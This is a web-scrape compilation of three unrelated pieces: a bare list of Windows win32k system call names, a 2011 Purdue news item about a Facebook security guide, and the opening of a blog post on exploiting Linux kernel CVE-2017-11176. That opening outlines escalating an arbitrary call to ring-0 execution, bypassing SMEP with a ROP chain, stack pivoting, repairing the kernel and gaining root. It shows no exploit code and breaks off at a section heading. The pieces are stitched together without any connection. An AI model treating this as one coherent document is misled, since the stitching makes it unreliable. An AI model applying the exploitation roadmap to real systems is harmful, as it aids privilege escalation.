NtUserCheckAccessForIntegrityLevel  
NtUserDisplayConfigSetDeviceInfo  
NtUserDisplayConfigGetDeviceInfo  
NtUserQueryDisplayConfig  
NtUserSetDisplayConfig  
NtUserGetDisplayConfigBufferSizes  
NtUserChangeDisplaySettings  
NtUserChangeClipboardChain  
NtUserCallTwoParam  
NtUserCallOneParam  
NtUserCallNoParam  
NtUserCallNextHookEx  
NtUserCallMsgFilter  
NtUserCallHwndParamLock  
NtUserCallHwndParam  
NtUserCallHwndOpt  
NtUserCallHwndLock  
NtUserCallHwnd  
NtUserBuildPropList  
NtUserBuildNameList  
NtUserBuildHwndList  
NtUserBuildHimcList  
NtUserBlockInput  
NtUserBitBltSysBmp  
NtUserBeginPaint  
NtUserAttachThreadInput  
NtUserAssociateInputContext  
NtUserAlterWindowStyle  
NtUserAddClipboardFormatListener  
NtUserActivateKeyboardLayout  
NtUserDelegateCapturePointers  
NtUserDelegateInput  
NtUserDispatchMessage  
NtUserDisableProcessWindowFiltering  
NtUserDisableThreadIme  
NtUserDestroyWindow  
NtUserDestroyMenu  
NtUserDestroyInputContext  
NtUserDestroyCursor  
NtUserDestroyAcceleratorTable  
NtUserDeleteMenu  
NtUserDoSoundDisconnect  
NtUserDoSoundConnect  
NtUserGhostWindowFromHungWindow  
NtUserGetWOWClass  
NtUserGetWindowPlacement  
NtUserGetWindowDisplayAffinity  
NtUserGetWindowDC  
NtUserGetWindowCompositionAttribute  
NtUserGetWindowCompositionInfo  
NtUserGetWindowBand  
NtUserGetUpdateRgn  
NtUserGetUpdateRect  
NtUserGetUpdatedClipboardFormats  
NtUserGetTopLevelWindow  
NtUserGetTitleBarInfo  
NtUserGetThreadState  
NtUserGetThreadDesktop  
NtUserGetSystemMenu  
NtUserGetScrollBarInfo  
NtUserGetRegisteredRawInputDevices  
NtUserGetRawInputDeviceList  
NtUserGetRawInputDeviceInfo  
NtUserGetRawInputData  
NtUserGetRawInputBuffer  
NtUserGetProcessWindowStation  
NtUserGetPriorityClipboardFormat  
NtUserGetOpenClipboardWindow  
NtUserGetObjectInformation  
NtUserGetMouseMovePointsEx  
NtUserGetMessage  
NtUserGetMenuItemRect  
NtUserGetMenuIndex  
NtUserGetMenuBarInfo  
NtUserGetListBoxInfo  
NtUserGetKeyState  
NtUserGetKeyNameText  
NtUserGetKeyboardState  
NtUserGetKeyboardLayoutName  
NtUserGetKeyboardLayoutList  
NtUserGetInternalWindowPos  
NtUserGetInputLocaleInfo  
NtUserGetImeInfoEx  
NtUserGetImeHotKey  
NtUserGetIconSize  
NtUserGetIconInfo  
NtUserGetGUIThreadInfo  
NtUserGetGuiResources  
NtUserGetForegroundWindow  
NtUserGetDoubleClickTime  
NtUserGetDesktopID  
NtUserGetDCEx  
NtUserGetDC  
NtUserGetCursorInfo  
NtUserGetCursorFrameInfo  
NtUserGetCurrentInputMessageSource  
NtUserGetCIMSSM  
NtUserGetCPD  
NtUserGetControlColor  
NtUserGetControlBrush  
NtUserGetComboBoxInfo  
NtUserGetClipCursor  
NtUserGetClipboardViewer  
NtUserGetClipboardSequenceNumber  
NtUserGetClipboardOwner  
NtUserGetClipboardFormatName  
NtUserGetClipboardData  
NtUserGetClassName  
NtUserGetClassInfoEx  
NtUserGetCaretPos  
NtUserGetCaretBlinkTime  
NtUserGetAtomName  
NtUserGetAsyncKeyState  
NtUserGetAppImeLevel  
NtUserGetAncestor  
NtUserGetAltTabInfo  
NtUserFrostCrashedWindow  
NtUserFlashWindowEx  
NtUserFindWindowEx  
NtUserFindExistingCursorIcon  
NtUserFillWindow  
NtUserExcludeUpdateRgn  
NtUserEvent  
NtUserEnumDisplaySettings  
NtUserEnumDisplayMonitors  
NtUserEnumDisplayDevices  
NtUserEndPaint  
NtUserEndMenu  
NtUserEndDeferWindowPosEx  
NtUserEnableScrollBar  
NtUserEnableMenuItem  
NtUserEmptyClipboard  
NtUserDrawMenuBarTemp  
NtUserDrawIconEx  
NtUserDrawCaptionTemp  
NtUserDrawCaption  
NtUserDrawAnimatedRects  
NtUserDragObject  
NtUserDragDetect  
NtUserHandleDelegatedInput  
NtUserRealChildWindowFromPoint  
NtUserQueryWindow  
NtUserQuerySendMessage  
NtUserQueryInputContext  
NtUserQueryInformationThread  
NtUserQueryBSDRWindow  
NtUserPerMonitorDPIPhysicalToLogicalPoint  
NtUserProcessConnect  
NtUserPrintWindow  
NtUserPostThreadMessage  
NtUserPostMessage  
NtUserPhysicalToLogicalPoint  
NtUserPeekMessage  
NtUserPaintMonitor  
NtUserPaintDesktop  
NtUserOpenWindowStation  
NtUserOpenThreadDesktop  
NtUserOpenInputDesktop  
NtUserOpenDesktop  
NtUserOpenClipboard  
NtUserNotifyWinEvent  
NtUserNotifyProcessCreate  
NtUserNotifyIMEStatus  
NtUserMoveWindow  
NtUserModifyUserStartupInfoFlags  
NtUserMNDragOver  
NtUserMNDragLeave  
NtUserMinMaximize  
NtUserMessageCall  
NtUserMenuItemFromPoint  
NtUserMapVirtualKeyEx  
NtUserLayoutCompleted  
NtUserLogicalToPerMonitorDPIPhysicalPoint  
NtUserLogicalToPhysicalPoint  
NtUserLockWorkStation  
NtUserLockWindowUpdate  
NtUserLockWindowStation  
NtUserLoadKeyboardLayoutEx  
NtUserKillTimer  
NtUserIsTopLevelWindow  
NtUserIsClipboardFormatAvailable  
NtUserInvalidateRgn  
NtUserInvalidateRect  
NtUserInternalGetWindowIcon  
NtUserInternalGetWindowText  
NtUserInitTask  
NtUserInitializeClientPfnArrays  
NtUserInitialize  
NtUserImpersonateDdeClientWindow  
NtUserHungWindowFromGhostWindow  
NtUserHiliteMenuItem  
NtUserHideCaret  
NtUserHardErrorControl  
NtUserRealInternalGetMessage  
NtUserRealWaitMessageEx  
NtUserTranslateMessage  
NtUserTranslateAccelerator  
NtUserPaintMenuBar  
NtUserCalcMenuBar  
NtUserCalculatePopupWindowPosition  
NtUserTrackPopupMenuEx  
NtUserTrackMouseEvent  
NtUserToUnicodeEx  
NtUserThunkedMenuItemInfo  
NtUserThunkedMenuInfo  
NtUserTestForInteractiveUser  
NtUserSendEventMessage  
NtUserSystemParametersInfo  
NtUserSwitchDesktop  
NtUserSoundSentry  
NtUserShutdownReasonDestroy  
NtUserShutdownBlockReasonQuery  
NtUserShutdownBlockReasonCreate  
NtUserShowWindowAsync  
NtUserShowWindow  
NtUserShowScrollBar  
NtUserShowCaret  
NtUserSetWinEventHook  
NtUserSetWindowWord  
NtUserSetWindowStationUser  
NtUserSetWindowsHookEx  
NtUserSetWindowsHookAW  
NtUserSetWindowRgnEx  
NtUserGetWindowRgnEx  
NtUserSetWindowRgn  
NtUserSetWindowPos  
NtUserSetWindowPlacement  
NtUserSetWindowLong  
NtUserSetWindowFNID  
NtUserSetWindowDisplayAffinity  
NtUserSetWindowCompositionTransition  
NtUserUpdateDefaultDesktopThumbnail  
NtUserSetWindowCompositionAttribute  
NtUserSetWindowBand  
NtUserSetProcessUIAccessZorder  
NtUserSetProcessDpiAwareness  
NtUserSetTimer  
NtUserSetThreadState  
NtUserSetThreadLayoutHandles  
NtUserSetThreadDesktop  
NtUserSetThreadInputBlocked  
NtUserSetSystemTimer  
NtUserSetSystemMenu  
NtUserSetSystemCursor  
NtUserSetSysColors  
NtUserSetShellWindowEx  
NtUserSetImmersiveBackgroundWindow  
NtUserSetScrollInfo  
NtUserSetProp  
NtUserGetProp  
NtUserSetProcessWindowStation  
NtUserSetParent  
NtUserSetObjectInformation  
NtUserSetMenuFlagRtoL  
NtUserSetMenuDefaultItem  
NtUserSetMenuContextHelpId  
NtUserSetMenu  
NtUserSetKeyboardState  
NtUserSetInternalWindowPos  
NtUserSetInformationThread  
NtUserSetImeOwnerWindow  
NtUserSetImeInfoEx  
NtUserSetImeHotKey  
NtUserSetFocus  
NtUserSetCursorIconData  
NtUserSetCursorContents  
NtUserSetCursor  
NtUserSetClipboardViewer  
NtUserSetClipboardData  
NtUserSetClassWord  
NtUserSetClassLong  
NtUserSetChildWindowNoActivate  
NtUserSetCapture  
NtUserSetAppImeLevel  
NtUserSetActiveWindow  
NtUserSendInput  
NtUserSelectPalette  
NtUserScrollWindowEx  
NtUserScrollDC  
NtUserSBGetParms  
NtUserResolveDesktopForWOW  
NtUserRemoveProp  
NtUserRemoveMenu  
NtUserRemoveClipboardFormatListener  
NtUserRegisterWindowMessage  
NtUserRegisterTasklist  
NtUserRegisterServicesProcess  
NtUserRegisterRawInputDevices  
NtUserRegisterHotKey  
NtUserRegisterUserApiHook  
NtUserRegisterErrorReportingDialog  
NtUserRegisterClassExWOW  
NtUserRegisterBSDRWindow  
NtUserRedrawWindow  
NtUserUndelegateInput  
NtUserGetWindowMinimizeRect  
NtUserDwmStopRedirection  
NtUserDwmStartRedirection  
NtUserDwmGetRemoteSessionOcclusionEvent  
NtUserDwmGetRemoteSessionOcclusionState  
NtUserUpdateWindowTransform  
NtUserCheckProcessSession  
NtUserUnregisterSessionPort  
NtUserRegisterSessionPort  
NtUserCtxDisplayIOCtl  
NtUserRemoteStopScreenUpdates  
NtUserRemoteRedrawScreen  
NtUserRemoteRedrawRectangle  
NtUserRemoteConnect  
NtUserWaitAvailableMessageEx  
NtUserWindowFromPoint  
NtUserWindowFromPhysicalPoint  
NtUserWaitMessage  
NtUserWaitForMsgAndEvent  
NtUserWaitForInputIdle  
NtUserVkKeyScanEx  
NtUserValidateTimerCallback  
NtUserValidateRect  
NtUserValidateHandleSecure  
NtUserUserHandleGrantAccess  
NtUserUpdatePerUserSystemParameters  
NtUserSetLayeredWindowAttributes  
NtUserGetLayeredWindowAttributes  
NtUserUpdateLayeredWindow  
NtUserUpdateInstance  
NtUserUpdateInputContext  
NtUserUnregisterHotKey  
NtUserUnregisterUserApiHook  
NtUserUnregisterClass  
NtUserUnlockWindowStation  
NtUserUnloadKeyboardLayout  
NtUserUnhookWinEvent  
NtUserUnhookWindowsHookEx  
NtUserGetTouchInputInfo  
NtUserIsTouchWindow  
NtUserModifyWindowTouchCapability  
NtGdiEngStretchBltROP  
NtGdiEngTextOut  
NtGdiEngTransparentBlt  
NtGdiEngGradientFill  
NtGdiEngAlphaBlend  
NtGdiEngLineTo  
NtGdiEngPaint  
NtGdiEngStrokeAndFillPath  
NtGdiEngFillPath  
NtGdiEngStrokePath  
NtGdiEngMarkBandingSurface  
NtGdiEngPlgBlt  
NtGdiEngStretchBlt  
NtGdiEngBitBlt  
NtGdiEngLockSurface  
NtGdiEngUnlockSurface  
NtGdiEngEraseSurface  
NtGdiEngDeleteSurface  
NtGdiEngDeletePalette  
NtGdiEngCopyBits  
NtGdiEngComputeGlyphSet  
NtGdiEngCreatePalette  
NtGdiEngCreateDeviceBitmap  
NtGdiEngCreateDeviceSurface  
NtGdiEngCreateBitmap  
NtGdiEngAssociateSurface  
NtUserSetWindowFeedbackSetting  
NtUserRegisterEdgy  
NtUserGetWindowFeedbackSetting  
NtUserHidePointerContactVisualization  
NtUserGetTouchValidationStatus  
NtUserInitializeTouchInjection  
NtUserInjectTouchInput  
NtUserRegisterTouchHitTestingWindow  
NtUserSetDisplayMapping  
NtUserSetCalibrationData  
NtUserGetPhysicalDeviceRect  
NtUserRegisterTouchPadCapable  
NtUserGetRawPointerDeviceData  
NtUserGetPointerDeviceCursors  
NtUserGetPointerDeviceRects  
NtUserRegisterPointerDeviceNotifications  
NtUserGetPointerDeviceProperties  
NtUserGetPointerDevice  
NtUserGetPointerDevices  
NtUserEnableTouchPad  
NtUserGetPrecisionTouchPadConfiguration  
NtUserSetPrecisionTouchPadConfiguration  
NtUserPromotePointer  
NtUserDiscardPointerFrameMessages  
NtUserRegisterPointerInputTarget  
NtUserGetPointerInputTransform  
NtUserGetPointerInfoList  
NtUserGetPointerCursorId  
NtUserGetPointerType  
NtUserGetGestureConfig  
NtUserSetGestureConfig  
NtUserGetGestureExtArgs  
NtUserGetGestureInfo  
NtUserInjectGesture  
NtUserChangeWindowMessageFilterEx  
NtGdiXLATEOBJ\_hGetColorTransform  
NtGdiXLATEOBJ\_iXlate  
NtGdiXLATEOBJ\_cGetPalette  
NtGdiEngDeleteClip  
NtGdiEngCreateClip  
NtGdiEngDeletePath  
NtGdiCLIPOBJ\_ppoGetPath  
NtGdiCLIPOBJ\_cEnumStart  
NtGdiCLIPOBJ\_bEnum  
NtGdiBRUSHOBJ\_hGetColorTransform  
NtGdiBRUSHOBJ\_pvGetRbrush  
NtGdiBRUSHOBJ\_pvAllocRbrush  
NtGdiBRUSHOBJ\_ulGetBrushColor  
NtGdiXFORMOBJ\_iGetXform  
NtGdiXFORMOBJ\_bApplyXform  
NtGdiFONTOBJ\_pQueryGlyphAttrs  
NtGdiFONTOBJ\_pfdg  
NtGdiFONTOBJ\_pifi  
NtGdiFONTOBJ\_cGetGlyphs  
NtGdiFONTOBJ\_pxoGetXform  
NtGdiFONTOBJ\_vGetInfo  
NtGdiFONTOBJ\_cGetAllGlyphHandles  
NtGdiFONTOBJ\_pvTrueTypeFontFile  
NtGdiSTROBJ\_dwGetCodePage  
NtGdiSTROBJ\_vEnumStart  
NtGdiSTROBJ\_bGetAdvanceWidths  
NtGdiSTROBJ\_bEnumPositionsOnly  
NtGdiSTROBJ\_bEnum  
NtGdiPATHOBJ\_bEnumClipLines  
NtGdiPATHOBJ\_vEnumStartClipLines  
NtGdiPATHOBJ\_vEnumStart  
NtGdiPATHOBJ\_bEnum  
NtGdiPATHOBJ\_vGetBounds  
NtGdiEngCheckAbort  
NtGdiGetDhpdev  
NtGdiHT\_Get8BPPMaskPalette  
NtGdiHT\_Get8BPPFormatPalette  
NtGdiUpdateTransform  
NtGdiUMPDEngFreeUserMem  
NtGdiBRUSHOBJ\_DeleteRbrush  
NtGdiSetPUMPDOBJ  
NtGdiSetUMPDSandboxState  
NtGdiDrawStream  
NtGdiHLSurfSetInformation  
NtGdiHLSurfGetInformation  
NtGdiDwmCreatedBitmapRemotingOutput  
NtGdiDdDDIGetScanLine  
NtGdiDdDDIReleaseProcessVidPnSourceOwners  
NtGdiDdDDIGetProcessSchedulingPriorityClass  
NtGdiDdDDISetProcessSchedulingPriorityClass  
NtGdiDdDDIGetContextSchedulingPriority  
NtGdiDdDDISetContextSchedulingPriority  
NtGdiDdDDIDestroyDCFromMemory  
NtGdiDdDDICreateDCFromMemory  
NtGdiDdDDIGetDeviceState  
NtGdiDdDDISetGammaRamp  
NtGdiDdDDIWaitForVerticalBlankEvent  
NtGdiDdDDIDestroyOverlay  
NtGdiDdDDIFlipOverlay  
NtGdiDdDDIUpdateOverlay  
NtGdiDdDDICreateOverlay  
NtGdiDdDDIGetPresentQueueEvent  
NtGdiDdDDIGetPresentHistory  
NtGdiDdDDISetVidPnSourceOwner1  
NtGdiDdDDISetVidPnSourceOwner  
NtGdiDdDDIQueryStatistics  
NtGdiDdDDIEscape  
NtGdiDdDDIGetSharedPrimaryHandle  
NtGdiDdDDICloseAdapter  
NtGdiDdDDIOpenAdapterFromLuid  
NtGdiDdDDIEnumAdapters  
NtGdiDdDDIOpenAdapterFromHdc  
NtGdiDdDDIOpenAdapterFromDeviceName  
NtGdiDdDDIRender  
NtGdiDdDDIPresent  
NtGdiDdDDIGetMultisampleMethodList  
NtGdiDdDDISetDisplayMode  
NtGdiDdDDIGetDisplayModeList  
NtGdiDdDDIUnlock  
NtGdiDdDDILock  
NtGdiDdDDIQueryAdapterInfo  
NtGdiDdDDIGetRuntimeData  
NtGdiDdDDISignalSynchronizationObject  
NtGdiDdDDIWaitForSynchronizationObject  
NtGdiDdDDIDestroySynchronizationObject  
NtGdiDdDDIOpenSynchronizationObject  
NtGdiDdDDICreateSynchronizationObject  
NtGdiDdDDIDestroyContext  
NtGdiDdDDICreateContext  
NtGdiDdDDIDestroyDevice  
NtGdiDdDDICreateDevice  
NtGdiDdDDIQueryAllocationResidency  
NtGdiDdDDISetAllocationPriority  
NtGdiDdDDIDestroyAllocation  
NtGdiDdDDIOpenResourceFromNtHandle  
NtGdiDdDDIOpenSyncObjectFromNtHandle  
NtGdiDdDDIOpenResource  
NtGdiDdDDIOpenNtHandleFromName  
NtGdiDdDDIShareObjects  
NtGdiDdDDIQueryResourceInfoFromNtHandle  
NtGdiDdDDIQueryResourceInfo  
NtGdiDdDDICreateAllocation  
NtGdiDdDDIOutputDuplReleaseFrame  
NtGdiDdDDIQueryRemoteVidPnSourceFromGdiDisplayName  
NtGdiDdDDIOutputDuplPresent  
NtGdiDdDDIReleaseKeyedMutex2  
NtGdiDdDDIAcquireKeyedMutex2  
NtGdiDdDDIOpenKeyedMutex2  
NtGdiDdDDICreateKeyedMutex2  
NtGdiDdDDIOutputDuplGetPointerShapeData  
NtGdiDdDDIOutputDuplGetMetaData  
NtGdiDdDDIOutputDuplGetFrameInfo  
NtGdiDdDDIDestroyOutputDupl  
NtGdiDdDDICreateOutputDupl  
NtGdiDdDDIReclaimAllocations  
NtGdiDdDDIOfferAllocations  
NtGdiDdDDICheckSharedResourceAccess  
NtGdiDdDDICheckVidPnExclusiveOwnership  
NtGdiDdDDIGetOverlayState  
NtGdiDdDDIConfigureSharedResource  
NtGdiDdDDIReleaseKeyedMutex  
NtGdiDdDDIAcquireKeyedMutex  
NtGdiDdDDIDestroyKeyedMutex  
NtGdiDdDDIOpenKeyedMutex  
NtGdiDdDDICreateKeyedMutex  
NtGdiDdDDISharedPrimaryUnLockNotification  
NtGdiDdDDISharedPrimaryLockNotification  
NtGdiDdDDISetDisplayPrivateDriverFormat  
NtGdiDdDDICheckExclusiveOwnership  
NtGdiDdDDICheckMonitorPowerState  
NtGdiDdDDIWaitForIdle  
NtGdiDdDDICheckOcclusion  
NtGdiDdDDIInvalidateActiveVidPn  
NtGdiDdDDIPollDisplayChildren  
NtGdiDdDDISetQueuedLimit  
NtGdiDdDDIPinDirectFlipResources  
NtGdiDdDDIUnpinDirectFlipResources  
NtGdiDdDDIWaitForVerticalBlankEvent2  
NtGdiDdDDISetContextInProcessSchedulingPriority  
NtGdiDdDDIGetContextInProcessSchedulingPriority  
NtGdiDdDDIGetSharedResourceAdapterLuid  
NtGdiDdDDISetStereoEnabled  
NtGdiDdDDIPresentMultiPlaneOverlay  
NtGdiDdDDICheckMultiPlaneOverlaySupport  
NtGdiDdDDIGetCachedHybridQueryValue  
NtGdiDdDDICacheHybridQueryValue  
NtGdiDdDDINetDispGetNextChunkInfo  
NtGdiDdDDINetDispQueryMiracastDisplayDeviceSupport  
NtGdiDdDDINetDispStartMiracastDisplayDevice  
NtGdiDdDDINetDispStopMiracastDisplayDevice  
NtGdiDdDDINetDispQueryMiracastDisplayDeviceStatus  
NtGdiMakeObjectUnXferable  
NtGdiMakeObjectXferable  
NtGdiDestroyPhysicalMonitor  
NtGdiGetPhysicalMonitorDescription  
NtGdiGetPhysicalMonitors  
NtGdiGetNumberOfPhysicalMonitors  
NtGdiDDCCIGetTimingReport  
NtGdiDDCCIGetCapabilitiesString  
NtGdiDDCCIGetCapabilitiesStringLength  
NtGdiDDCCISaveCurrentSettings  
NtGdiDDCCISetVCPFeature  
NtGdiDDCCIGetVCPFeature  
NtGdiDdQueryVisRgnUniqueness  
NtGdiDdDestroyFullscreenSprite  
NtGdiDdNotifyFullscreenSpriteUpdate  
NtGdiDdCreateFullscreenSprite  
NtUserShowSystemCursor  
NtUserSetMirrorRendering  
NtUserMagGetContextInformation  
NtUserMagSetContextInformation  
NtUserMagControl  
NtUserSlicerControl  
NtUserHwndSetRedirectionInfo  
NtUserHwndQueryRedirectionInfo  
NtCreateCompositionSurfaceHandle  
NtValidateCompositionSurfaceHandle  
NtBindCompositionSurface  
NtUnBindCompositionSurface  
NtQueryCompositionSurfaceBinding  
NtNotifyPresentToCompositionSurface  
NtQueryCompositionSurfaceStatistics  
NtOpenCompositionSurfaceSectionInfo  
NtOpenCompositionSurfaceSwapChainHandleInfo  
NtQueryCompositionSurfaceRenderingRealization  
NtOpenCompositionSurfaceDirtyRegion  
NtSetCompositionSurfaceOutOfFrameDirectFlipNotification  
NtSetCompositionSurfaceStatistics  
NtSetCompositionSurfaceBufferCompositionMode  
NtSetCompositionSurfaceIndependentFlipInfo  
NtCreateCompositionInputSink  
NtQueryCompositionInputSink  
NtQueryCompositionInputSinkLuid  
NtUpdateInputSinkTransforms  
NtCompositionInputThread  
NtTokenManagerOpenEvent  
NtTokenManagerThread  
NtTokenManagerGetOutOfFrameDirectFlipSurfaceUpdates  
NtTokenManagerDeleteOutstandingDirectFlipTokens  
NtTokenManagerCreateCompositionTokenHandle  
NtDCompositionBeginFrame  
NtDCompositionConfirmFrame  
NtDCompositionRetireFrame  
NtDCompositionDiscardFrame  
NtDCompositionGetFrameSurfaceUpdates  
NtDCompositionGetFrameLegacyTokens  
NtDCompositionDestroyConnection  
NtDCompositionGetConnectionBatch  
NtDCompositionGetFrameStatistics  
NtDCompositionGetDeletedResources  
NtDCompositionSetResourceDeletedNotificationTag  
NtDCompositionCreateConnection  
NtDCompositionDestroyChannel  
NtDCompositionReleaseAllResources  
NtDCompositionSubmitDWMBatch  
NtDCompositionCommitChannel  
NtDCompositionWaitForChannel  
NtDCompositionSetChannelCommitCompletionEvent  
NtDCompositionTelemetryTouchInteractionBegin  
NtDCompositionTelemetryTouchInteractionUpdate  
NtDCompositionTelemetryTouchInteractionEnd  
NtDCompositionTelemetrySetApplicationId  
NtDCompositionTelemetryAnimationScenarioBegin  
NtDCompositionTelemetryAnimationScenarioReference  
NtDCompositionTelemetryAnimationScenarioUnreference  
NtDCompositionCurrentBatchId  
NtDCompositionReleaseResource  
NtDCompositionRemoveCrossDeviceVisualChild  
NtDCompositionRemoveVisualChild  
NtDCompositionAddCrossDeviceVisualChild  
NtDCompositionAddVisualChild  
NtDCompositionReplaceVisualChildren  
NtDCompositionSetResourceAnimationProperty  
NtDCompositionSetResourceReferenceArrayProperty  
NtDCompositionSetResourceReferenceProperty  
NtDCompositionSetResourceBufferProperty  
NtDCompositionSetResourceIntegerProperty  
NtDCompositionSetResourceFloatProperty  
NtDCompositionSetResourceHandleProperty  
NtDCompositionCreateResource  
NtDCompositionOpenSharedResource  
NtDCompositionOpenSharedResourceHandle  
NtDCompositionCreateDwmChannel  
NtDCompositionCreateChannel  
NtDCompositionSynchronize  
NtDCompositionDwmSyncFlush  
NtDCompositionReferenceSharedResourceOnDwmChannel  
NtDCompositionSignalGpuFence  
NtDCompositionCreateAndBindSharedSection  
NtDCompositionSetDebugCounter  
NtDCompositionGetChannels  
NtDCompositionConnectPipe  
NtDCompositionRegisterThumbnailVisual  
NtDCompositionDuplicateHandleToProcess  
NtUserDestroyDCompositionHwndTarget  
NtUserCreateDCompositionHwndTarget  
NtUserWaitForRedirectionStartComplete  
NtUserSignalRedirectionStartComplete  
NtUserSetActiveProcess  
NtUserGetDisplayAutoRotationPreferencesByProcessId  
NtUserGetDisplayAutoRotationPreferences  
NtUserSetDisplayAutoRotationPreferences  
NtUserSetAutoRotation  
NtUserGetAutoRotationState  
NtUserAutoRotateScreen  
NtUserAcquireIAMKey  
NtUserSetActivationFilter  
NtUserSetFallbackForeground  
NtUserSetBrokeredForeground  
NtUserDisableImmersiveOwner  
NtUserEnableIAMAccess  
NtUserGetProcessUIContextInformation  
NtUserSetProcessRestrictionExemption  
NtUserEnableMouseInPointer  
NtUserIsMouseInPointerEnabled  
NtUserPromoteMouseInPointer  
NtUserAutoPromoteMouseInPointer  
NtUserEnableMouseInputForCursorSuppression  
NtUserIsMouseInputEnabled  
NtUserInternalClipCursor  
NtUserCheckProcessForClipboardAccess  
NtUserGetClipboardAccessToken  
NtUserGetQueueEventStatus  
NtUserCompositionInputSinkLuidFromPoint  
NtUserUpdateWindowInputSinkHints  
NtUserTransformPoint  
NtUserTransformRect  
NtUserGetHimetricScaleFactorFromPixelLocation  
NtUserGetProcessDpiAwareness  
NtUserGetDpiForMonitor  
NtUserReportInertia  
NtUserLinkDpiCursor  
NtUserGetCursorDims  
****

# CERIAS : Security research engineer’s guide urges Facebook users to be
cautious

**Created:**| _10/25/2011 11:30:38 AM_  
---|---  
**Updated:**| _10/25/2011 11:30:38 AM_  
**Author:**| __  
**Tags:**| _web social_  
  

# Security research engineer’s guide urges Facebook users to be cautious

<img src='img/Temp2_1276.jpg' alt='Security research engineer’s guide urges
Facebook users to be cautious' />

Wed, October 19, 2011 — CERIAS Media Citings

Keith Watson may receive annual “Happy Birthday” messages on his Facebook
wall, but never on the right day.

That’s because Watson — a Purdue information assurance research engineer who
recently co-authored a free 14-page Facebook security guide — doesn’t list his
real birthday on the popular social networking site.

“As people put more personal information on the Internet, they’re putting
themselves at risk, and that’s on top of the biggest security hazards, which
are scams and malicious software,” says Watson, who co-wrote “A Guide to
Facebook Security” with teacher and editor Denise Weldon and security expert
Linda McCarthy, Watson’s friend and former colleague.

“From a security point of view, Facebook is a relatively secure site and
protects its internal systems well, but it doesn’t proactively police user
content, and that’s where the trouble lies,” says Watson, who works in
Purdue’s Center for Education and Research in Information Assurance and
Security \(CERIAS\), an internationally known center for cyber security
research.

Published in August, the guide explains procedures for protecting accounts,
avoiding scammers, using advanced security settings and stopping imposters.
The guide urges users to understand what Facebook is doing to make the site
safe and secure and take action to protect themselves and their accounts.

The message is relevant this October as part of ITaP’s campus celebration of
National Cybersecurity Awareness Month, but it’s always important to be
vigilant about cyber threats on Facebook and other social networking sites,
Watson says, adding that at least five or six new scams show up on Facebook
every day. Some of these are obvious while others may be complex or sneaky.

“Most scams attempt to gain access to your Facebook account, force you to fill
out surveys, send out posts, links or messages that appear to be coming from
you but actually redirect people to another site that poses cyber risks,” he
says. “There’s a certain amount of trust users have because the scams appear
to come from people they know, and it can be pretty easy to fall victim to
such scams. Even some security professionals I know have had their private
information compromised, so everyone should be cautious.”

When Watson and the other authors wrote the first draft of the security guide
a few months ago, there were roughly 500 million Facebook users worldwide.
Today there are more than 800 million, a number that grows by the second.

“The bad guys know that not everyone will fall for their scams, but even if
one percent of Facebook users click on a bad link, that’s still a pretty big
number and that’s all money in the bank for these guys,” Watson says. “The
Internet and software are changing rapidly, so it’s vital that people become
aware of new risks because they never know when they might be taken advantage
of.”

Moreover, Watson says users should stay up-do-date on the site’s constantly
evolving security and privacy features to make sure they aren’t exposing
sensitive information unknowingly, as most personal information is in an open
state by default and requires manual adjustment to stay hidden.

“Some people don’t understand how Facebook continues to exist as a company by
offering its services for free,” Watson says. “The truth is that the people on
the site are the product, and information about the things they like, their
friends and the links they click on is aggregated and provided to marketers
who can profit off of that information. You have to make an effort to turn
some of these features on or off to protect yourself.”

More Facebook security tips may be found on the ITaP website.

For more information check out Own Your Space, a book about online safety
available for free download. It provides information on protecting computer
and other sensitive information that may be listed on cyber accounts. Those
who wish to download chapters also have the option to submit their email
addresses to receive additional security information.

Additional notes written by Watson on Facebook login approvals and
notifications, single sign-ons, one-time passwords and secure browsing may be
found online as well.

Student-created IT security awareness posters and a training video may also be
viewed online.

**Writer:** Andrea Thomas, Information Technology at Purdue \(ITaP\),
765-496-8204, thomas78@purdue.edu

**Source:** Keith Watson, 765-496-7470, kaw@purdue.edu

# Lexfo's security blog - CVE-2017-11176: A step-by-step Linux Kernel
exploitation \(part 4/4\)

**Created:**| _10/3/2018 9:57:02 PM_  
---|---  
**Updated:**| _10/3/2018 9:57:02 PM_  
**Author:**| __  
**Tags:**| _kernel_  
  

# Introduction

In this final part, we will transform the arbitrary call primitive \(cf. part
3\) into arbitrary code execution in ring-0, repair the kernel and get the
root credentials. It will emphasize a lot on x86-64 architecture-specific
stuff.

First, the core concept section focuses on another critical kernel structure
\(_thread\_info_\) and how it can be abused from an exploitation point of view
\(retrieve _current_ , escape seccomp-based sandbox, gain arbitrary
read/write\). Next, we will see the virtual memory layout, the kernel thread
stacks and how they are linked to the _thread\_info_. Then we will see how
linux implements the hash tables used by Netlink. This will help for kernel
repair.

Secondly, we will try to call a userland payload directly and see how we get
blocked by a hardware protection mechanism \(SMEP\). We will do an extensive
study of a _page fault exception_ trace to get meaningful information and see
various ways to defeat SMEP.

Thirdly, we will extract gadgets from a kernel image and explain why we need
to restrict the research to the _.text_ section. With such gadgets, we will do
a stack pivot and see how to deal with aliasing. With relaxed constraints on
gadget, we will implement the ROP-chain that disables SMEP, restore the stack
pointer and stack frame as well as jumping to userland code in a clean state.

Fourth, we will do kernel reparation. While repairing the _socket_ dangling
pointer is pretty straightforward, repairing the netlink hash list is a bit
more complex. Since the bucket lists are not circular and we lost track of
some elements during the reallocation, we will use a trick and an information
leak to repair them.

Finally, we will do a short study about the exploit reliability \(where it can
fail\) and build a danger map during various stages of the exploit. Then, we
will see how to gain root rights.

* * *
# Table of Contents

  * Core Concepts \#4
  * Meeting Supervisor Mode Execution Prevention
  * Defeating SMEP Strategies
  * Finding Gadgets
  * Stack Pivoting
  * Debugging the kernel with GDB
  * The ROP-Chain
  * Repair the Kernel
  * Reliability
  * Getting root
  * Conclusion
  * Going Further

* * *
# Core Concepts \#4

**WARNING** : A lot of concepts addressed here hold **out-dated information**
due to a major overhaul started in the mid-2016's. For instance, some
_thread\_info_ 's fields have been moved into the _thread\_struct_ \(i.e.
embedded in _task\_struct_\). Still, understanding "what it was" can help you
understand "what it is" right now. And again, a lot of systems run "old"
kernel versions \(i.e. < 4.8.x\).

First, we have a look at the critical _thread\_info_ structure and how it can
be abused during an exploitation scenario \(retrieving _current_ , escaping
seccomp, arbitrary read/write\).

Next, we will see how the _virtual memory map_ is organized in a x86-64
environment. In particular, we will see why addressing translation is limited
to 48-bits \(instead of 64\) as well as what a "canonical" address means.

Then, we will focus on the kernel thread stack. Explaining where and when they
are created as well as what they hold.

Finally, we will focus on the netlink hash table data structure and the
associated algorithm. Understanding them will help during kernel repair and
improve the exploit reliability.

## The _thread\_info_ Structure

